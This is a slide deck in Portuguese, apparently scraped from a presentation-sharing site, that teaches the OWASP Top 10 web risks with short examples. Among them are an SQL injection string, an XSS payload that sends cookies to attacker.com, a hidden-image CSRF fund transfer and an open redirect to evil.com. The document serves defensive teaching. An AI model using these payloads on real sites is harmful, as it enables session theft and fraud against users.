Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Alcyon Ferreira de Souza Junior, MSc
 
Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)
Julio Cesar Stefanutto
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a Web
Carlos Serrao
 
THE WebSec
THE WebSecTHE WebSec
THE WebSec
Kelvin Campelo
 
[GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
 [GUTS-RS] - Testes de Segurança: O que preciso saber para planejar [GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
[GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
GUTS-RS
 
Pentest com Kali Linux - LatinoWare 2015
Pentest com Kali Linux  - LatinoWare 2015Pentest com Kali Linux  - LatinoWare 2015
Pentest com Kali Linux - LatinoWare 2015
Alcyon Ferreira de Souza Junior, MSc
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
Alex Camargo
 

Semelhante a Segurança em Aplicações Web conforme OWASP (20)

Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
Antar ferreira
Antar ferreiraAntar ferreira
Antar ferreira
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
 
Gerenciamento de Vulnerabilidades em Aplicações e Servidores Web
Gerenciamento de Vulnerabilidades em Aplicações e Servidores WebGerenciamento de Vulnerabilidades em Aplicações e Servidores Web
Gerenciamento de Vulnerabilidades em Aplicações e Servidores Web
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Java security
Java securityJava security
Java security
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a Web
 
THE WebSec
THE WebSecTHE WebSec
THE WebSec
 
[GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
 [GUTS-RS] - Testes de Segurança: O que preciso saber para planejar [GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
[GUTS-RS] - Testes de Segurança: O que preciso saber para planejar
 
Pentest com Kali Linux - LatinoWare 2015
Pentest com Kali Linux  - LatinoWare 2015Pentest com Kali Linux  - LatinoWare 2015
Pentest com Kali Linux - LatinoWare 2015
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
 

Segurança em Aplicações Web conforme OWASP

  • 1. Segurança em aplicações web bit.ly/owasp-fisl14 1 Segurança em Aplicações Web conforme Fabiano Castro Pereira – fabianocp@gmail.com Apresentação disponível em http://bit.ly/owasp-fisl14
  • 2. Segurança em aplicações web bit.ly/owasp-fisl14 2 OWASP – Open Web Application Security Project Comunidade aberta – www.owasp.org Ajudar a desenvolver/comprar/manter software seguro: Ferramentas e padrões abertos Livros gratuitos: desenvolvimento/testes/revisão seguros Bibliotecas e controles de segurança Realização de eventos Listas de e-mail Sem pressões comerciais Fundação OWASP
  • 3. Segurança em aplicações web bit.ly/owasp-fisl14 3 OWASP - Projeto Top 10 Objetivo Problemas relativamente simples são intoleráveis Alertar sobre segurança de aplicativos web Apresentar os riscos críticos (entenda-se $$$) mais comuns Versões 2003 (pequenas atualizações em 2004 e 2007) 2010 (priorização feita de acordo com riscos) 2013 (versão final liberada 12 de junho) Mobile Security Project (em desenvolvimento)
  • 4. Segurança em aplicações web bit.ly/owasp-fisl14 4 OWASP - Projeto Top 10 Atenção!!! OWASP Top 10 não é checklist É apenas o começo, é preciso criar um programa amplo para implantar uma cultura de segurança nas aplicações Think as an abuser!!! (pense como um aproveitador) Oportunidades Aprender com os erros dos outros Executivos: gerenciem os riscos inerentes às aplicações owasp-topten@lists.owasp.org
  • 5. Segurança em aplicações web bit.ly/owasp-fisl14 5 Projeto Top 10 - Números Baseado em 8 datasets de 7 empresas especializadas 4 empresas de consultoria em segurança 3 empresas que produzem ferramentas de segurança Totalizando 500.000 registros de vulnerabilidades em Centenas de organizações Milhares de aplicações Escolha do Top 10 Selecionados e priorizados via avaliação destes milhares de dados, e a partir de estimativas obtidas via consenso
  • 6. Segurança em aplicações web bit.ly/owasp-fisl14 6 Riscos de Segurança para Aplicações
  • 7. Segurança em aplicações web bit.ly/owasp-fisl14 7 Riscos de Segurança para Aplicações OWASP Risk Rating Methodology – Elementos do risco Agentes de ameaça Depende da aplicação, cada organização deve avaliar e identificar os agentes que podem lhe oferecer ameaça Explorabilidade: Fácil / Média / Difícil Qual é a facilidade de se explorar a fraqueza associada a determinado risco? Prevalência: Largamente difundida / Comum / Incomum É comum encontrar a fraqueza associada ao risco?
  • 8. Segurança em aplicações web bit.ly/owasp-fisl14 8 Riscos de Segurança para Aplicações OWASP Risk Rating Methodology – Elementos do risco Detectabilidade: Fácil / Média / Difícil É fácil detectar a fraqueza associada ao risco? Impactos técnicos: Grave / Moderado / Menor Qual o impacto técnico caso a fraqueza associada a determinado risco seja explorada? Impactos no negócio Depende da aplicação e do negócio da organização, que deve avaliar e identificar os impactos
  • 9. Segurança em aplicações web bit.ly/owasp-fisl14 9 A1 - Injeção Elementos do risco Agente de ameaça Qualquer um que possa enviar dados não confiáveis Explorabilidade: Fácil Ataque realizado com texto forjado de forma específica Praticamente qualquer fonte de dados pode ser atacada Prevalência: Comum Encontrado em: consultas SQL, LDAP, Xpath, ou NoSQL; comandos de SO; parsers XML, cabeçalhos SMTP, argumentos de programas, etc.
  • 10. Segurança em aplicações web bit.ly/owasp-fisl14 10 A1 - Injeção Elementos do risco Detectabilidade: Média Fácil de encontrar no código-fonte, mas difícil via teste Ferramentas tipo Scanners e fuzzers ajudam os atacantes Impacto: Grave Pode resultar em: perda ou corrupção de dados; negação de serviço; invasão total de um servidor. Impactos no negócio Como ficaria a reputação da empresa se todos de clientes fossem roubados, modificados ou excluídos?
  • 11. Segurança em aplicações web bit.ly/owasp-fisl14 11 A1 - Injeção Exemplo (SQL Injection) Aplicação usa dados não confiáveis: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Atacante modifica o parâmetro no browser http://app.com/app/accountView?id=' or '1'='1
  • 12. Segurança em aplicações web bit.ly/owasp-fisl14 12 A2 - Falha de Autenticação e de Gerenciamento de Sessão Elementos do risco Agente de ameaça Qualquer um (anônimo ou possuidor de conta) que queira acessar indevidamente uma conta de usuário na aplicação Explorabilidade: Média Ataque utiliza falhas nas funções (contas expostas, senhas, ID de sessão) para se passar por determinado usuário Prevalência: Largamente difundida Encontrado em sistemas que construíram seus próprios mecanismos de autenticação
  • 13. Segurança em aplicações web bit.ly/owasp-fisl14 13 A2 - Falha de Autenticação e de Gerenciamento de Sessão Elementos do risco Detectabilidade: Média Encontrar esta falha pode ser difícil, pois depende de uma análise da implementação específica Impacto: Grave O atacante pode fazer tudo que a conta atacada tem permissão para fazer Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • 14. Segurança em aplicações web bit.ly/owasp-fisl14 14 A2 - Falha de Autenticação e de Gerenciamento de Sessão Exemplo http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii Se o link for enviado para alguém, a sessão completa do estará indo junto, dando acesso a dados sensíveis
  • 15. Segurança em aplicações web bit.ly/owasp-fisl14 15 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Elementos do risco Agente de ameaça Qualquer um que possa enviar dados não confiáveis Explorabilidade: Média Ataque realizado com texto forjado de forma específica Praticamente qualquer fonte de dados pode ser atacada Prevalência: Muito largamente difundida Ocorre quando se exibe em uma página dados fornecidos pelo usuário, sem que se faça o correto tratamento
  • 16. Segurança em aplicações web bit.ly/owasp-fisl14 16 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Elementos do risco Detectabilidade: Fácil Falha pode ser encontrada via análise de código, ou via testes Impacto: Moderado Ataque pode executar scripts no navegador para: obter sessões, manchar sites, instalar malware no navegador, etc. Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • 17. Segurança em aplicações web bit.ly/owasp-fisl14 17 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Exemplo Aplicação usa dados não validados para construir a página: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; Atacante modifica o parâmetro CC: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
  • 18. Segurança em aplicações web bit.ly/owasp-fisl14 18 A4 - Referência direta e insegura para objeto Elementos do risco Agente de ameaça Usuários que tem acesso parcial a dados do sistema Explorabilidade: Fácil Basta alterar um parâmetro que faça referência direta a um objeto do sistema Prevalência: Comum Aplicações web geralmente usam nomes os identificadores para fazer referência aos objetos Falham em verificar a autorização do acesso
  • 19. Segurança em aplicações web bit.ly/owasp-fisl14 19 A4 - Referência direta e insegura para objeto Elementos do risco Detectabilidade: Fácil Falha pode ser encontrada via análise de código, ou via testes Impacto: Moderado Comprometimento dos dados acessados pela referência insegura, exceto se não houver como predizer os valores Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • 20. Segurança em aplicações web bit.ly/owasp-fisl14 20 A4 - Referência direta e insegura para objeto Exemplo Aplicação usa dados não validados para construir a página: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); Atacante modifica o parâmetro acct: http://example.com/app/accountInfo?acct=notmyacct
  • 21. Segurança em aplicações web bit.ly/owasp-fisl14 21 A5 - Configurações mal feitas de segurança Elementos do risco Agente de ameaça Atacantes anônimos, autenticados, ou internos Explorabilidade: Fácil Contas padrão, páginas sem uso, falhas sem patch, arquivos e diretórios desprotegidos, etc. Prevalência: Comum Pode ocorrer em vários níveis: plataforma, servidor web ou aplicação, BD, framework, código customizado
  • 22. Segurança em aplicações web bit.ly/owasp-fisl14 22 A5 - Configurações mal feitas de segurança Elementos do risco Detectabilidade: Fácil Podem ser encontradas com scanners automatizados Impacto: Moderado Acesso a dados e funcionalidades não autorizadas Pode resultar em comprometimento total do sistema Impactos no negócio Dados roubados ou modificados Recuperação pode ser muito custosa
  • 23. Segurança em aplicações web bit.ly/owasp-fisl14 23 A5 - Configurações mal feitas de segurança Exemplos Console administrativo do servidor de aplicação deixado com usuário e senha padrão Servidor web com listagem de diretório ativada desnecessariamente Exibição de stack traces no servidor de aplicação Servidor de aplicação mantido com aplicativos de exemplo
  • 24. Segurança em aplicações web bit.ly/owasp-fisl14 24 A6 - Exposição de dados sensíveis Elementos do risco Agente de ameaça Qualquer um com interesse nos dados, estejam eles no servidor, sendo transmitidos, ou no navegador Explorabilidade: Difícil Atacantes não tentam quebrar criptografia, mas roubar chaves, ou obter os dados diretamente do servidor Prevalência: Incomum Ocorrências: falta de criptografia, chaves fracas, chaves mal gerenciadas, algoritmos de segurança obsoletos
  • 25. Segurança em aplicações web bit.ly/owasp-fisl14 25 A6 - Exposição de dados sensíveis Elementos do risco Detectabilidade: Média Navegador: falha fácil de detectar, não de explorar (larga escala) Falhas no servidor: difíceis de detectar devido ao acesso limitado Impacto: Grave Acesso a dados sensíveis: registros médicos, credenciais, dados pessoais, cartões de crédito, etc. Impactos no negócio Quais são as penalidades legais aplicáveis à organização por ter exposto estes dados (mesmo involuntariamente)?
  • 26. Segurança em aplicações web bit.ly/owasp-fisl14 26 A6 - Exposição de dados sensíveis Exemplos de ações inadequadas Usar criptografia automática do BD Armazenamento feito de forma segura Mas a leitura está sujeita à injeção de SQL Esquecer de utilizar SSL para comunicação Esquecer de “salgar” as senhas dos usuários Salted password hashes
  • 27. Segurança em aplicações web bit.ly/owasp-fisl14 27 A7 - Ausência de controle de acesso no nível de função Elementos do risco Agente de ameaça Qualquer um com interesse nos dados Explorabilidade: Fácil Alterar URL ou parâmetro que dê acesso à funções privadas (atacante anônimo) ou privilegiadas (atacante autenticado) Prevalência: Comum Geralmente falta controle de acesso, e quando existe, está mal configurado, ou se esqueceu de colocá-lo no código
  • 28. Segurança em aplicações web bit.ly/owasp-fisl14 28 A7 - Ausência de controle de acesso no nível de função Elementos do risco Detectabilidade: Média A detecção é fácil, a parte mais difícil é identificar todas as possíveis páginas (URLs) e funções atacáveis Impacto: Moderado Acesso a funções não autorizadas, principalmente se forem funções administrativas Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • 29. Segurança em aplicações web bit.ly/owasp-fisl14 29 A7 - Ausência de controle de acesso no nível de função Exemplos Função para usuário comum http://example.com/app/getappInfo Função para administradores http://example.com/app/admin_getappInfo Se não houver o controle de acesso, as funções administrativas serão acessadas indevidamente
  • 30. Segurança em aplicações web bit.ly/owasp-fisl14 30 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Elementos do risco Agente de ameaça Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante Explorabilidade: Média Atacante forja a requisição e engana o usuário, fazendo-o enviá-la para a aplicação à partir de outro local Prevalência: Comum Sites que o atacante pode inferir os dados necessários Navegadores enviam os cookies de sessão automaticamente
  • 31. Segurança em aplicações web bit.ly/owasp-fisl14 31 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Elementos do risco Detectabilidade: Fácil A detecção é fácil, podendo ser feita tanto via testes de intrusão, quanto via análise de código Impacto: Moderado Pode resultar em: alteração de contas, realização de compras, e qualquer outra função existente na aplicação Impactos no negócio Imagine se não houver como ter certeza das ações do usuário Usuários reclamando de operações que eles não realizaram
  • 32. Segurança em aplicações web bit.ly/owasp-fisl14 32 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Exemplos Funcionalidade normal disponível na aplicação: http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 Requisição forjada pelo atacante: <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />
  • 33. Segurança em aplicações web bit.ly/owasp-fisl14 33 A9 - Uso de componentes com vulnerabilidades conhecidas Elementos do risco Agente de ameaça Interessados especificamente em determinada aplicação, dispostos a gastar tempo investigando as possibilidades Explorabilidade: Média Atacante usa procedimento manual, ou ferramentas de scan automático, para então customizar seu exploit Prevalência: Largamente difundida Muitos desenvolvedores não atualizam componentes, e às vezes nem sabem quais que são utilizados
  • 34. Segurança em aplicações web bit.ly/owasp-fisl14 34 A9 - Uso de componentes com vulnerabilidades conhecidas Elementos do risco Detectabilidade: Difícil A detecção é difícil, pois envolve análise minuciosa Dependência entre componentes só piora as coisas Impacto: Moderado Pode servir de ponto de entrada para as outras fraquezas Impacto pode ir de zero até o comprometimento total Impactos no negócio Será de acordo com a fraqueza explorada
  • 35. Segurança em aplicações web bit.ly/owasp-fisl14 35 A9 - Uso de componentes com vulnerabilidades conhecidas Exemplos (com 22 milhões de downloads em 2011) Apache CXF Authentication Bypass (CVE-2012-3451) Framework de serviços web Não fornecia token de identidade, permitindo a atacantes executar qualquer serviço com total permissão Spring Remote Code Execution (Infosecurity Magazine) Problemas na implementação de Expression Language (EL) Permitia execução de código arbitrário, chegando a comprometer completamente o servidor
  • 36. Segurança em aplicações web bit.ly/owasp-fisl14 36 A10 - Redirecionamentos e encaminhamentos não validados Elementos do risco Agente de ameaça Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante Explorabilidade: Média Atacante cria um link válido, mas direto, sem antes passar pelo redirecionamento ou encaminhamento necessário Prevalência: Incomum Destinos definidos via parâmetro sem validação
  • 37. Segurança em aplicações web bit.ly/owasp-fisl14 37 A10 - Redirecionamentos e encaminhamentos não validados Elementos do risco Detectabilidade: Fácil Redirecionamentos não validados são fáceis de se detectar, porém os encaminhamentos são mais difíceis Impacto: Moderado Atacante pode: instalar malware, obter senhas ou outras informações sensíveis, burlar controle de acesso Impactos no negócio Perda da confiança dos usuários O que aconteceria se atacantes acessassem dados internos?
  • 38. Segurança em aplicações web bit.ly/owasp-fisl14 38 A10 - Redirecionamentos e encaminhamentos não validados Exemplos Redirecionamento malicioso http://www.example.com/redirect.jsp?url=evil.com Encaminhamento malicioso http://www.example.com/boring.jsp?fwd=admin.jsp
  • 39. Segurança em aplicações web bit.ly/owasp-fisl14 39 Tem mais coisa no Top 10 Ajuda Como verificar se minha aplicação é vulnerável? Como posso prevenir a ocorrência dos riscos? Referências para mais informações O que vem depois Para desenvolvedores Para verificadores (vai além de testes) Para organizações
  • 40. Segurança em aplicações web bit.ly/owasp-fisl14 40 Fabiano Castro Pereira – fabianocp@gmail.com Apresentação disponível em http://bit.ly/owasp-fisl14 Perguntas?